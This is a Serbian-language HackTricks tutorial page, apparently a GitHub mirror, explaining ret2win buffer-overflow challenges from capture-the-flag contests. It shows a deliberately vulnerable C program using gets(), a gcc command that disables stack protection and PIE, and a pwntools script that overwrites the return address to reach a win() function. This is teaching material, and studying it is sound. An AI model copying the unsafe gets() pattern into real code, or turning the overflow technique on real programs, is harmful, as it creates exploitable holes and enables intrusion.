mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
5.4 KiB
Markdown
92 lines
5.4 KiB
Markdown
# Ret2win
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Osnovne informacije
|
|
|
|
**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, nepozvana funkcija unutar binarnog fajla, koja se često naziva nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
|
|
|
|
### C primer
|
|
|
|
Razmotrite jednostavan C program sa ranjivošću i `win` funkcijom koju nameravamo da pozovemo:
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void win() {
|
|
printf("Congratulations! You've called the win function.\n");
|
|
}
|
|
|
|
void vulnerable_function() {
|
|
char buf[64];
|
|
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
return 0;
|
|
}
|
|
```
|
|
Da biste kompajlirali ovaj program bez zaštite steka i sa **ASLR** onemogućenim, možete koristiti sledeću komandu:
|
|
```sh
|
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|
```
|
|
- `-m32`: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima).
|
|
- `-fno-stack-protector`: Onemogućite zaštitu od prelivanja steka.
|
|
- `-z execstack`: Dozvolite izvršavanje koda na steku.
|
|
- `-no-pie`: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcije `win` ne menja.
|
|
- `-o vulnerable`: Imenovati izlazni fajl `vulnerable`.
|
|
|
|
### Python Exploit koristeći Pwntools
|
|
|
|
Za exploit, koristićemo **pwntools**, moćan CTF okvir za pisanje eksploitacija. Skripta za exploit će kreirati payload za prelivanje bafera i prepisivanje adrese povratka sa adresom funkcije `win`.
|
|
```python
|
|
from pwn import *
|
|
|
|
# Set up the process and context for the binary
|
|
binary_path = './vulnerable'
|
|
p = process(binary_path)
|
|
context.binary = binary_path
|
|
|
|
# Find the address of the win function
|
|
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
|
|
|
|
# Create the payload
|
|
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
|
|
payload = b'A' * 68 + win_addr
|
|
|
|
# Send the payload
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
Da biste pronašli adresu `win` funkcije, možete koristiti **gdb**, **objdump** ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`, mogli biste koristiti:
|
|
```sh
|
|
objdump -d vulnerable | grep win
|
|
```
|
|
Ova komanda će vam prikazati asembler funkcije `win`, uključujući njenu početnu adresu.
|
|
|
|
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obradi `vulnerable_function`, preplavi bafer i prepisuje adresu povratka na steku sa adresom `win`. Kada `vulnerable_function` vrati, umesto da se vrati na `main` ili izađe, skače na `win`, i poruka se ispisuje.
|
|
|
|
## Zaštite
|
|
|
|
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **treba da bude onemogućena** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje bude `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka.
|
|
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena.
|
|
|
|
## Ostali primeri & Reference
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
|
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
|
|
- 32bit, bez ASLR
|
|
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
|
|
- 64 bita sa ASLR, sa leak-om adrese bin
|
|
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
|
|
- 64 bita, bez ASLR
|
|
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
|
- 32 bita, bez ASLR, dvostruko malo prelivanje, prvo preplavi stek i poveća veličinu drugog prelivanja
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
|
- 32 bita, relro, bez kanarinca, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
|
|
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
|
- 64 bita, relro, bez kanarinca, nx, pie. Delimično prepisivanje za pozivanje funkcije win (ret2win)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|